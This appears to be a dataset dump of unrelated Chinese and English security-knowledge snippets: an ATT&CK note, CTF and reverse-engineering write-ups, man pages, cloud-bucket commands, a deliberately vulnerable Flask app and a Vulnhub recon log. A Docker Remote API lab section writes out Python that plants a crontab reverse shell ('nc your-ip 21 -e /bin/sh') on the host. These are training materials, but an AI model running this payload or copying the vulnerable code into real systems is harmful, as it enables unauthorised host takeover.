text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# T1594-搜索受害者所拥有的网站
## 来自ATT&CK的描述
攻击者可能会搜索目标组织拥有的网站，以获取可在目标攻击中使用的信息。目标组织拥有的网站可能包含各种细节，包括部门/分部的名称、物理位置和关键员工的数据，如姓名、角色和联系信息（例如：电子邮件地址）。这些网站还可能有突出商业运作和关系的细节。
攻击者可能会搜索目标组织拥有的网站，以收集可操作的信息。来自这些来源的信息可能会提供其他形式的侦察机会（例如：钓鱼信息或搜索开放式技术数据库），建立业务资源（例如：建立账户或破坏账户）或初始访问（例如：信任关系或钓鱼）。
## 测试案例
个人理解：收集网站上公布的人事信息（政府网站居多）、管理员邮箱信息等。
## 检测日志
无
## 测试复现
无
## 测试留痕
无
## 检测规则/思路
无
## 建议
许多此类攻击活动的发生率很高，并且相关的误报率也很高，并且有可能发生在目标组织的监测范围之外，从而使防御者难以发现。
检测工作可能会集中在攻击生命周期的相关阶段，例如在"初始访问"阶段。
## 参考推荐
MITRE-ATT&CK-T1594
<https://attack.mitre.org/techniques/T1594>
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# 4-Base64
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目标 T4.exe
使用 IDA 打开,找 main 函数,并做基本的分析，重命名函数
这次在17行出现了一个 sub_455A94 函数,双击进去
这个 sub_455A94 对 sub_45A3F0 做了一层封装,继续双击跟进下一级
这里可以看到 sub_45A3F0 的细节，寻找关键数字常量，比如多次引用到 off_529000 全局资源
双击进入 off_529000，跳转到该资源存储的位置。
这里可以看到 off_529000 dd offset aAbcdefghijklmn 表示 off_529000 是一个全局的指针变量，保存了一个字符串的指针，指向的字符串为 aAbcdefghijklmn ， 双击进入 aAbcdefghijklmn 地址的数据处。
发现一个关键字符串 ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789
去搜索一下就知道这个估计是 base64 编码的函数
重命名一下
在分析下思路
输入值 --> 每个字符与i异或 --> 进行base64 编码 --> 与 Zm1jZH9cSVJXT0NFSFJHW09ZU1tVaA== 比较
那么解题就是将 Zm1jZH9cSVJXT0NFSFJHW09ZU1tVaA== 解 base64，与 i 异或即可
这里用 cyberchef 快速得到格式化的 16 进制值
然后用之前的与 i 异或脚本跑下即可
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**Source & Reference**
- [萌新学逆向——T4 Base64算法](https://mp.weixin.qq.com/s/HUE8DE-K4n0NytzrO4I49A)
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title: 列出存储桶里的对象
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## 列出存储桶里的对象
使用以下命令，可以列出存储桶中的对象
```bash
cf alibaba oss obj ls
```
如果想指定获取对象的数量，可以使用 `-n` 或者 `--number` 参数
```bash
cf alibaba oss obj ls -n 100
```
在有些情况下，当前 AK 可能会没有列出 Bucket 的权限，如果你知道 Bucket 的名称，可以使用 `-b` 指定 Bucket
```bash
cf alibaba oss ls -b bucket_name
```
这时可能会碰到没有获取 Bucket 区域的情况，加上 `-r` 参数指定区域即可，例如指定 cn-hangzhou
```bash
cf alibaba oss ls -b bucket_name -r cn-hangzhou
```
<Vssue />
<script>
export default {
mounted () {
this.$page.lastUpdated = "2022年10月12日"
}
}
</script>
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# Marinated Salad
Category: Cryptography
## Description
> Excuse me waiter, P Dvbsk sprl h Jhlzhy Zhshk dpao
>
> okarozuvaf{C1tqF3y3_f0dJf_v_Y34F_c1a4uYy3Gfw_wy3MKl}
## Solution
If we run `"P Dvbsk sprl h Jhlzhy Zhshk dpao okarozuvaf{C1tqF3y3_f0dJf_v_Y34F_c1a4uYy3Gfw_wy3MKl}"` through ROT-19, we get:
```console
root@kali:/media/sf_CTFs/technion/Marinated_Salad# export NODE_PATH=$(npm root --quiet -g)
root@kali:/media/sf_CTFs/technion/Marinated_Salad# node
> const chef = require("cyberchef");
undefined
> chef.ROT13("P Dvbsk sprl h Jhlzhy Zhshk dpao okarozuvaf{C1tqF3y3_f0dJf_v_Y34F_c1a4uYy3Gfw_wy3MKl}", [true, true, 19])
I Would like a Caesar Salad with hdtkhsnoty{V1mjY3r3_y0wCy_o_R34Y_v1t4nRr3Zyp_pr3FDe}
```
This means that the two part of the sentence are encrypted with different ciphers.
ROT ciphers are often called "Caesar cipher". From [Wikipedia](https://en.wikipedia.org/wiki/Caesar_cipher):
> The encryption step performed by a Caesar cipher is often incorporated as part of more complex schemes, such as the Vigenère cipher, and still has modern application in the ROT13 system.
Caesar salad are often served with vinaigrette, which sounds like Vigenère. So without doubt the seconds part of the ciphertext must be encoded with a Vigenère cipher.
After some trial an error with Vigenère ciphers, `hdtkhsnoty{V1mjY3r3_y0wCy_o_R34Y_v1t4nRr3Zyp_pr3FDe}` we find the cipher key and decrypted message:
```console
> chef.vigenèreDecode("hdtkhsnoty{V1mjY3r3_y0wCy_o_R34Y_v1t4nRr3Zyp_pr3FDe}", ["flag"])
cstechnion{V1geN3r3_s0rRy_i_M34N_v1n4iGr3Tte_pl3ASe}
```
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# 5. 替换空格
## 题目链接
[牛客网](https://www.nowcoder.com/practice/0e26e5551f2b489b9f58bc83aa4b6c68?tpId=13&tqId=11155&tab=answerKey&from=cyc_github)
## 题目描述
将一个字符串中的空格替换成 "%20"。
```text
Input:
"A B"
Output:
"A%20B"
```
## 解题思路
① 在字符串尾部填充任意字符，使得字符串的长度等于替换之后的长度。因为一个空格要替换成三个字符（%20），所以当遍历到一个空格时，需要在尾部填充两个任意字符。
② 令 P1 指向字符串原来的末尾位置，P2 指向字符串现在的末尾位置。P1 和 P2 从后向前遍历，当 P1 遍历到一个空格时，就需要令 P2 指向的位置依次填充 02%（注意是逆序的），否则就填充上 P1 指向字符的值。从后向前遍是为了在改变 P2 所指向的内容时，不会影响到 P1 遍历原来字符串的内容。
③ 当 P2 遇到 P1 时（P2 \<= P1），或者遍历结束（P1 \< 0），退出。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/f7c1fea2-c1e7-4d31-94b5-0d9df85e093c.gif" width="350px"> </div><br>
```java
public String replaceSpace(StringBuffer str) {
int P1 = str.length() - 1;
for (int i = 0; i <= P1; i++)
if (str.charAt(i) == ' ')
str.append(" ");
int P2 = str.length() - 1;
while (P1 >= 0 && P2 > P1) {
char c = str.charAt(P1--);
if (c == ' ') {
str.setCharAt(P2--, '0');
str.setCharAt(P2--, '2');
str.setCharAt(P2--, '%');
} else {
str.setCharAt(P2--, c);
}
}
return str.toString();
}
```
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# Anonymous
Category: Steganography
## Description
> **Blast from the Past challenges series**
>
> In 2017, Anonymous hacked lectures and tutorials to promote the 2nd faculty party, they even hid a message in one of the frames...
A PNG file was attached.
## Solution
Running `zsteg` on the file reveals the flag:
```console
root@kali:/media/sf_CTFs/technion/Anonymous# zsteg anon.png
b1,g,lsb,xy .. file: dBase III DBT, version number 0, next free block index 3183084812
b1,g,msb,xy .. file: dBase III DBT, version number 0, next free block index 3177029680
b1,b,msb,xy .. file: dBase III DBT, version number 0, next free block index 4196096609
b1,rgb,lsb,xy .. file: dBase III DBT, version number 0, next free block index 2532068640
b2,g,lsb,xy .. file: dBase III DBT, version number 0, next free block index 3148544642
b2,g,msb,xy .. file: dBase III DBT, version number 0, next free block index 3713359681
b2,b,lsb,xy .. file: dBase III DBT, version number 0, next free block index 3837465664
b2,rgba,lsb,xy .. text: "cstechnion{d0_n0t_b3c0m3_4_m4ch1n3_maN}"
b3,r,lsb,xy .. file: MacBinary, more flags 0x7, Mon Feb 6 08:28:16 2040 INVALID date, modified Mon Feb 6 08:28:16 2040, type ' ' "I$\222H$\022A\004\020H$\020I$"
b3,g,msb,xy .. file: dBase III DBT, version number 0, next free block index 2454414338
b3,b,msb,xy .. file: StarOffice Gallery theme l\0216h, 0 objects
b3,rgb,msb,xy .. file: 0420 Alliant virtual executable not stripped
b4,r,lsb,xy .. file: raw G3 (Group 3) FAX, byte-padded
b4,g,lsb,xy .. text: "2211#\"21\""
```
The flag: `cstechnion{d0_n0t_b3c0m3_4_m4ch1n3_maN}`
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# Ransom 2.0, RE, 150pts
> In theory, this firmware mod was supposed to give you 30% extra horsepower and torque. In reality, it's something different. For real this time.
This is the exact same challenge as `Ransom`, except this time
with the password checking bugfix. Reversing the code checking
routine revealed the underlying algorithm, which we rewrote
into C:
```c
#include <stdint.h>
#include <stdio.h>
uint16_t cash = 0x1337;
uint16_t get(uint16_t n) {
while (n--) {
cash = (((cash ^ (cash >> 2) ^ (cash >> 3) ^ (cash >> 5)) & 1) << 15) | (cash >> 1);
}
return cash;
}
int main() {
uint8_t id[] = "\x38\x35\x32\x07\x19\x00\x14\x00";
for (int i = 0; i < 8; i++) {
uint16_t x = id[i] + (id[i+1] * 256);
uint16_t f = get(x ^ (0xcafe << i));
printf("%02X%02X", f & 0xff, (f >> 8) & 0xff);
}
printf("\n");
}
```
Running this yields the password, which upon typing it into UART
interface, gives us the flag.
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sec-knowleage
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'\"
'\" Copyright (c) 1995-1996 Sun Microsystems, Inc.
'\"
'\" See the file "license.terms" for information on usage and redistribution
'\" of this file, and for a DISCLAIMER OF ALL WARRANTIES.
'\"
'\" RCS: @(#) $Id: fconfigure.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" The definitions below are for supplemental macros used in Tcl/Tk
'\" manual entries.
'\"
'\" .AP type name in/out ?indent?
'\" Start paragraph describing an argument to a library procedure.
'\" type is type of argument (int, etc.), in/out is either "in", "out",
'\" or "in/out" to describe whether procedure reads or modifies arg,
'\" and indent is equivalent to second arg of .IP (shouldn't ever be
'\" needed; use .AS below instead)
'\"
'\" .AS ?type? ?name?
'\" Give maximum sizes of arguments for setting tab stops. Type and
'\" name are examples of largest possible arguments that will be passed
'\" to .AP later. If args are omitted, default tab stops are used.
'\"
'\" .BS
'\" Start box enclosure. From here until next .BE, everything will be
'\" enclosed in one large box.
'\"
'\" .BE
'\" End of box enclosure.
'\"
'\" .CS
'\" Begin code excerpt.
'\"
'\" .CE
'\" End code excerpt.
'\"
'\" .VS ?version? ?br?
'\" Begin vertical sidebar, for use in marking newly-changed parts
'\" of man pages. The first argument is ignored and used for recording
'\" the version when the .VS was added, so that the sidebars can be
'\" found and removed when they reach a certain age. If another argument
'\" is present, then a line break is forced before starting the sidebar.
'\"
'\" .VE
'\" End of vertical sidebar.
'\"
'\" .DS
'\" Begin an indented unfilled display.
'\"
'\" .DE
'\" End of indented unfilled display.
'\"
'\" .SO
'\" Start of list of standard options for a Tk widget. The
'\" options follow on successive lines, in four columns separated
'\" by tabs.
'\"
'\" .SE
'\" End of list of standard options for a Tk widget.
'\"
'\" .OP cmdName dbName dbClass
'\" Start of description of a specific option. cmdName gives the
'\" option's name as specified in the class command, dbName gives
'\" the option's name in the option database, and dbClass gives
'\" the option's class in the option database.
'\"
'\" .UL arg1 arg2
'\" Print arg1 underlined, then print arg2 normally.
'\"
'\" RCS: @(#) $Id: fconfigure.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages.
.if t .wh -1.3i ^B
.nr ^l \n(.l
.ad b
'\" # Start an argument description
.de AP
.ie !"\\$4"" .TP \\$4
.el \{\
. ie !"\\$2"" .TP \\n()Cu
. el .TP 15
.\}
.ta \\n()Au \\n()Bu
.ie !"\\$3"" \{\
\&\\$1 \\fI\\$2\\fP (\\$3)
.\".b
.\}
.el \{\
.br
.ie !"\\$2"" \{\
\&\\$1 \\fI\\$2\\fP
.\}
.el \{\
\&\\fI\\$1\\fP
.\}
.\}
..
'\" # define tabbing values for .AP
.de AS
.nr )A 10n
.if !"\\$1"" .nr )A \\w'\\$1'u+3n
.nr )B \\n()Au+15n
.\"
.if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n
.nr )C \\n()Bu+\\w'(in/out)'u+2n
..
.AS Tcl_Interp Tcl_CreateInterp in/out
'\" # BS - start boxed text
'\" # ^y = starting y location
'\" # ^b = 1
.de BS
.br
.mk ^y
.nr ^b 1u
.if n .nf
.if n .ti 0
.if n \l'\\n(.lu\(ul'
.if n .fi
..
'\" # BE - end boxed text (draw box now)
.de BE
.nf
.ti 0
.mk ^t
.ie n \l'\\n(^lu\(ul'
.el \{\
.\" Draw four-sided box normally, but don't draw top of
.\" box if the box started on an earlier page.
.ie !\\n(^b-1 \{\
\h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.el \}\
\h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.\}
.fi
.br
.nr ^b 0
..
'\" # VS - start vertical sidebar
'\" # ^Y = starting y location
'\" # ^v = 1 (for troff; for nroff this doesn't matter)
.de VS
.if !"\\$2"" .br
.mk ^Y
.ie n 'mc \s12\(br\s0
.el .nr ^v 1u
..
'\" # VE - end of vertical sidebar
.de VE
.ie n 'mc
.el \{\
.ev 2
.nf
.ti 0
.mk ^t
\h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n'
.sp -1
.fi
.ev
.\}
.nr ^v 0
..
'\" # Special macro to handle page bottom: finish off current
'\" # box/sidebar if in box/sidebar mode, then invoked standard
'\" # page bottom macro.
.de ^B
.ev 2
'ti 0
'nf
.mk ^t
.if \\n(^b \{\
.\" Draw three-sided box if this is the box's first page,
.\" draw two sides but no top otherwise.
.ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.\}
.if \\n(^v \{\
.nr ^x \\n(^tu+1v-\\n(^Yu
\kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c
.\}
.bp
'fi
.ev
.if \\n(^b \{\
.mk ^y
.nr ^b 2
.\}
.if \\n(^v \{\
.mk ^Y
.\}
..
'\" # DS - begin display
.de DS
.RS
.nf
.sp
..
'\" # DE - end display
.de DE
.fi
.RE
.sp
..
'\" # SO - start of list of standard options
.de SO
.SH "STANDARD OPTIONS"
.LP
.nf
.ta 5.5c 11c
.ft B
..
'\" # SE - end of list of standard options
.de SE
.fi
.ft R
.LP
See the \\fBoptions\\fR manual entry for details on the standard options.
..
'\" # OP - start of full description for a single option
.de OP
.LP
.nf
.ta 4c
Command-Line Name: \\fB\\$1\\fR
Database Name: \\fB\\$2\\fR
Database Class: \\fB\\$3\\fR
.fi
.IP
..
'\" # CS - begin code excerpt
.de CS
.RS
.nf
.ta .25i .5i .75i 1i
..
'\" # CE - end code excerpt
.de CE
.fi
.RE
..
.de UL
\\$1\l'|0\(ul'\\$2
..
.TH fconfigure 3tcl 8.1 Tcl "Tcl Built-In Commands"
.BS
'\" Note: do not modify the .SH NAME line immediately below!
.SH NAME
fconfigure \- 设置和获得一个通道上的选项
.SH "总览 SYNOPSIS"
.nf
\fBfconfigure \fIchannelId\fR
\fBfconfigure \fIchannelId\fR \fIname\fR
\fBfconfigure \fIchannelId\fR \fIname value \fR?\fIname value ...\fR?
.fi
.BE
.SH "描述 DESCRIPTION"
.PP
\fBfconfigure\fR 命令设置和检索一个通道的选项。\fIChannelId\fR 标识要设置或查询某个选项的那个通道。如果没有提供 \fIname\fR 或 \fIvalue\fR 参数，命令返回一个列表，它包含着这个通道上可变更的选项名字和值。如果提供了 \fIname\fR 而没有 \fIvalue\fR 则命令返回给定选项的当前值。如果提供一对或多对 \fIname\fR和 \fIvalue\fR，命令把每个指名的选项设置成相应的 \fIvalue \fR；在这种情况下返回值是一个空串。
.PP
所有通道都支持下面描述的选项。额外的，每个通道类型都可以增加只有它自己支持的选项。参见建立各种类型通道的命令的手册条目来得到这个特定类型的通道所支持的选项。例如，参见 \fBsocket\fR命令的手册条目来得到增补的选项。
.TP
\fB\-blocking\fR \fIboolean\fR
\fB-blocking\fR 选项决定在通道上的 I/O 操作是否可以导致进程无限的阻塞。选项的值必须是一个正确的 boolean 值。通道通常在阻塞模式中；如果把一个通道转换到非阻塞模式中，它将影响 \fBgets\fR、\fBread\fR、\fBputs\fR、\fBflush\fR、和 \fBclose\fR 命令的操作；详见这些命令的文档。要使非阻塞模式正常工作，应用必须使用 Tcl 事件循环(例如，通过调用 \fBTcl_DoOneEvent\fR 或调用 \fBvwait\fR 命令)。
.TP
\fB\-buffering\fR \fInewValue\fR
.
如果 \fInewValue\fR 是 \fBfull\fR，则 I/O 系统直到它的内部缓冲变满或调用 \fBflush\fR 命令之后才将缓冲输出。如果 \fInewValue\fR 是 \fBline\fR，则 I/O 系统将在输出一个换行符的时候自动的刷新此通道的输出。如果 \fInewValue\fR 是 \fBnone\fR，则 I/O 系统将在每次输出操作之后自动刷新。除了连接到终端类设备的通道被初始设置成 \fBline \fR之外，\fB-buffering\fR 的缺省被设置成 \fBfull\fR。补充一下，\fBstdin\fR 和 \fBstdout\fR 被初始设置成 \fBline\fR，而 \fBstderr\fR 被设置成 \fBnone\fR。
.TP
\fB\-buffersize\fR \fInewSize\fR
.
\fINewvalue\fR必须是一个整数；使用它的值来设置随后分配给这个通道用来存储输入和输出的缓冲区的大小，以字节为单位。\fINewvalue\fR 必须在十到一百万之间，即允许十到一百万字节大小的缓冲区。
.VS 8.1 br
.TP
\fB\-encoding\fR \fIname\fR
.
用这个选项来指定通道的编码，为了在 Tcl 中使用数据，数据可以转换成 Unicode 或从 Unicode 转换过来。例如，要使 Tcl 从用 \fBshiftjis\fR 编码的日文文件中读取字符并正确的处理和显示其中的内容，编码就应该设置成 \fBshiftjis\fR。此后，当从一个通道读取的时候，在这个日文文件中的字节如其所读的将被转换成 Unicode。同样也支持写入 - 即把要写到通道中的 Tcl 字符串自动的转换成输出上的特定编码。
.RS
.PP
如果一个文件包含纯二进制数据(例如，一个 JPEG 图象)，这种通道应当被配置成 \fBbinary\fR。Tcl 将对这种文件中的数据不赋予任何解释，而是简单的读或写原始(raw)的字节。使用Tcl \fBbinary\fR 命令操纵这种原始字节数据。
.PP
给新打开的通道的缺省编码与同操作系统交互时使用的依赖于平台或本地的编码是一样的。
.RE
.VE
.TP
\fB\-eofchar\fR \fIchar\fR
.TP
\fB\-eofchar\fR \fB{\fIinChar outChar\fB}\fR
.
这个选项支持 DOS 文件系统，它使用 Control-z (\ex1a)作为文件结束的标记符(marker)。如果 \fIchar\fR 不是一个空串，则在输入期间遇到这个字符时指示(signal)文件结束。对于输出，在关闭通道的时候输出文件结束字符。如果 \fIchar\fR 是一个空串，则没有特定的文件结束字符标记符。对于读写通道，一个有两个元素的列表分别指定给输入和输出的文件结束标记符。作为一种约定，在给读写通道设置文件结束符的时候，你可以指定一个单一的值，同时提供给读和写。在查询一个读写通道的文件结束符时，将返回一个两个元素的列表。除了在 Windows 下的文件之外的情况下，\fB-eofchar\fR 缺省值是一个空串。在Windows 的情况下，对于读 \fB-eofchar\fR 是 Control-z (\ex1a)，对于写是空串。
.TP
\fB\-translation\fR \fImode\fR
.TP
\fB\-translation\fR \fB{\fIinMode outMode\fB}\fR
.
在 Tcl 脚本中总是使用一个单一的换行符(\en)来表示一行的结束。但是在实际的文件和设备中的行结束在不同的平台上可能有不同的表示，甚至在相同的平台的不同的设备上也可能有不同的表示。例如，在 UNIX 下在文件中是换行符，而在网络连接中通常使用回车-换行(carriage-return-linefeed)序列。在输入上 (例如，使用 \fBgets\fR 和 \fBread\fR)，Tcl I/O 系统自动的把外部的行结束表示转换成换行符。在输出上(例如，使用 \fBputs\fR)，I/O 系统把换行符转换成外部的行结束表示。缺省的转换模式是 \fBauto\fR，即自动的处理所有一般情况，而 \fB-translation\fR
选项在提供显式的对行结束转换的控制。
.PP
对于只读和只写通道，与 \fB-translation\fR 相关联的值是一个单一的项目。对于读写通道这个值是一个两个元素的列表；列表的第一个元素是读转换模式，第二个元素是写转换模式。作为一种约定，在给读写通道设置行结束符的时候，你可以指定一个单一的值，同时提供给读和写。在查询一个读写通道的行结束符时，将返回一个两个元素的列表。当前支持下列值:
.TP
\fBauto\fR
.
作为输入转换模式，\fBauto\fR 把所有的换行(\fBlf\fR)、回车(\fBcr\fR)、或一个回车并跟随一个换行(\fBcrlf\fR) 作为行结束表示。行结束表示甚至可以从行到行的改变，并且所有的情况都被转换成一个换行符。作为输出转换模式，\fBauto\fR 选择一个特定于平台的表示；对于套接口，Tcl 在所有平台上均选择 \fBcrlf\fR，对于所有 Unix 版本(flavor)，它选择 \fBlf\fR，对Macintosh 平台它选择 \fBcr\fR，对于各种版本的Windows 它选择 \fBcrlf\fR。对于输入和输出二者，\fB-translation\fR的缺省设置是 \fBauto\fR。
.VS 8.1 br
.TP
\fBbinary\fR
.
不进行行结束转换。除了 \fBbinary\fR模式额外的把文件结束符设置成空串(禁用文件结束符)，并且把编码设置成 \fBbinary\fR (禁用编码过滤)之外，它与\fBlf\fR 模式基本一致。详细信息参见 \fB-eofchar\fR 和 \fB-encoding\fR。
.VE
.TP
\fBcr\fR
.
在底层文件或设备中的行结束被表示为一个单一的回车符。作为输入转换模式，\fBcr\fR模式把回车符转换成换行符。作为输出转换模式，\fBcr\fR模式把换行符转换成回车符。这种模式典型的在 Macintosh 平台上使用。
.TP
\fBcrlf\fR
.
在底层文件或设备中的行结束被表示一个回车符并跟随一个换行符。作为输入转换模式，\fBcrlf\fR模式把回车换行序列转换成换行符。作为输出模式，\fBcrlf\fR 模式把换行符转换成回车换行序列。这种模式典型的在 Windows 平台和网络连接上使用。
.TP
\fBlf\fR
.
在底层文件或设备中的行结束被表示为一个单一的换行符。在这种模式下在输入或输出期间没有转换发生。这种模式典型的在UNIX 平台上使用。
.RE
.PP
.SH "参见 SEE ALSO"
close(n), flush(n), gets(n), puts(n), read(n), socket(n)
.SH "关键字 KEYWORDS"
blocking, buffering, carriage return, end of line, flushing, linemode,
newline, nonblocking, platform, translation, encoding, filter, byte array,
binary
.SH "[中文版维护人]"
.B 寒蝉退士
.SH "[中文版最新更新]"
.B 2001/08/02
.SH "《中国 Linux 论坛 man 手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
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sec-knowleage
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# Docker daemon api unauthorized access exploit
[中文版本(Chinese version)](README.zh-cn.md)
Reference Links：
- http://www.loner.fm/drops/#!/drops/1203.%E6%96%B0%E5%A7%BF%E5%8A%BF%E4%B9%8BDocker%20Remote%20API%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E5%92%8C%E5%88%A9%E7%94%A8
## Vulnerability environment
Enter the following command to build and run the vulnerability environment:
```
docker compose build
docker compose up -d
```
## Exploit
Start a container, and mount the host `/etc` folder to the container, then we will have read/write access to any files.
We can put the commands in crontab configuration file to reverse shell
```python
import docker
client = docker.DockerClient(base_url='http://your-ip:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
```
Reverse shell exploit by injecting commands in crontab:
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.\" auto-generated by docbook2man-spec $Revision: 1.1 $
.TH "TRUNCATE" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands"
.SH NAME
TRUNCATE \- 清空一个表
.SH SYNOPSIS
.sp
.nf
TRUNCATE [ TABLE ] \fIname\fR
.sp
.fi
.SH "DESCRIPTION 描述"
.PP
\fBTRUNCATE\fR 快速地从一个表中删除所有行。它和无条件的 DELETE 有同样的效果，不过因为它不做表扫描，因而快得多。 在大表上最有用。
.SH "PARAMETERS 参数"
.TP
\fB\fIname\fB\fR
要清空的表名字（可以有模式修饰）。
.SH "NOTES 注意"
.PP
如果从其它表有到这个表的外键引用，那么就不能使用 TRUNCATE。 在这种情况下检查有效性要求进行表扫描，而 TRUNCATE 的概念是不做这样的事情。
.PP
\fBTRUNCATE\fR 不会运行任何在该表上存在的 ON DELETE 触发器。
.SH "EXAMPLES 例子"
.PP
截断表 bigtable∶
.sp
.nf
TRUNCATE TABLE bigtable;
.sp
.fi
.SH "COMPATIBILITY 兼容性"
.PP
SQL 标准里没有 TRUNCATE 。
.SH "译者"
.B Postgresql 中文网站
.B 何伟平 <laser@pgsqldb.org>
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sec-knowleage
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# Photo Gallery
## [Flag0](./flag0) -- Found
- Consider how you might build this system yourself. What would the query for fetch look like?
- Take a few minutes to consider the state of the union
- This application runs on the uwsgi-nginx-flask-docker image
## [Flag1](./flag1) -- Found
- I never trust a kitten I can't see
- Or a query whose results I can't see, for that matter
## [Flag2](./flag2) -- Found
- That method of finding the size of an album seems suspicious
- Stacked queries rarely work. But when they do, make absolutely sure that you're committed
- Be aware of your environment
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sec-knowleage
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from flask import Flask, flash, get_flashed_messages, make_response, redirect, render_template_string, request
from os import path, unlink
from PIL import Image
import tempfile
app = Flask(__name__)
app.secret_key = "0123456789ABCDEF"
@app.route('/', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
file = request.files.get('image', None)
if not file:
flash('No image found')
return redirect(request.url)
filename = file.filename
ext = path.splitext(filename)[1]
if (ext not in ['.jpg', '.jpeg', '.png', '.gif', '.bmp']):
flash('Invalid extension')
return redirect(request.url)
tmp = tempfile.mktemp("test")
img_path = "{}.{}".format(tmp, ext)
file.save(img_path)
img = Image.open(img_path)
w, h = img.size
ratio = 256.0 / max(w, h)
resized_img = img.resize((int(w * ratio), int(h * ratio)))
resized_img.save(img_path)
r = make_response()
r.data = open(img_path, "rb").read()
r.headers['Content-Disposition'] = 'attachment; filename=resized_{}'.format(filename)
unlink(img_path)
return r
return render_template_string('''
<!doctype html>
<title>Image Resizer</title>
<h1>Upload an Image to Resize</h1>
{% with messages = get_flashed_messages() %}
{% if messages %}
<ul class=flashes>
{% for message in messages %}
<li>{{ message }}</li>
{% endfor %}
</ul>
{% endif %}
{% endwith %}
<form method=post enctype=multipart/form-data>
<p><input type=file name=image>
<input type=submit value=Upload>
</form>
''')
if __name__ == '__main__':
app.run(threaded=True, port=8000, host="0.0.0.0")
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sec-knowleage
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# Sedna
> https://download.vulnhub.com/hackfest2016/Sedna.ova
靶场IP：`192.168.32.197`
扫描对外端口服务
```
┌──(root💀kali)-[/tmp]
└─# nmap -p 1-65535 -sV 192.168.32.197
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-02 03:56 EDT
Nmap scan report for 192.168.32.197
Host is up (0.0017s latency).
Not shown: 65523 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
53/tcp open domain ISC BIND 9.9.5-3 (Ubuntu Linux)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
110/tcp open pop3 Dovecot pop3d
111/tcp open rpcbind 2-4 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp open imap Dovecot imapd (Ubuntu)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
993/tcp open ssl/imaps?
995/tcp open ssl/pop3s?
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
48824/tcp open status 1 (RPC #100024)
MAC Address: 00:0C:29:0E:11:4D (VMware)
Service Info: Host: SEDNA; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.71 seconds
```
访问80端口
爆破web目录
```
┌──(root💀kali)-[/tmp]
└─# dirb http://192.168.32.197
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Fri Sep 2 04:25:23 2022
URL_BASE: http://192.168.32.197/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.32.197/ ----
==> DIRECTORY: http://192.168.32.197/blocks/
==> DIRECTORY: http://192.168.32.197/files/
+ http://192.168.32.197/index.html (CODE:200|SIZE:101)
==> DIRECTORY: http://192.168.32.197/modules/
+ http://192.168.32.197/robots.txt (CODE:200|SIZE:36)
+ http://192.168.32.197/server-status (CODE:403|SIZE:294)
==> DIRECTORY: http://192.168.32.197/system/
==> DIRECTORY: http://192.168.32.197/themes/
---- Entering directory: http://192.168.32.197/blocks/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.32.197/files/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.32.197/modules/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.32.197/system/ ----
==> DIRECTORY: http://192.168.32.197/system/core/
==> DIRECTORY: http://192.168.32.197/system/database/
==> DIRECTORY: http://192.168.32.197/system/fonts/
==> DIRECTORY: http://192.168.32.197/system/helpers/
+ http://192.168.32.197/system/index.html (CODE:200|SIZE:142)
==> DIRECTORY: http://192.168.32.197/system/language/
==> DIRECTORY: http://192.168.32.197/system/libraries/
---- Entering directory: http://192.168.32.197/themes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.32.197/system/core/ ----
==> DIRECTORY: http://192.168.32.197/system/core/compat/
+ http://192.168.32.197/system/core/index.html (CODE:200|SIZE:142)
---- Entering directory: http://192.168.32.197/system/database/ ----
==> DIRECTORY: http://192.168.32.197/system/database/drivers/
+ http://192.168.32.197/system/database/index.html (CODE:200|SIZE:142)
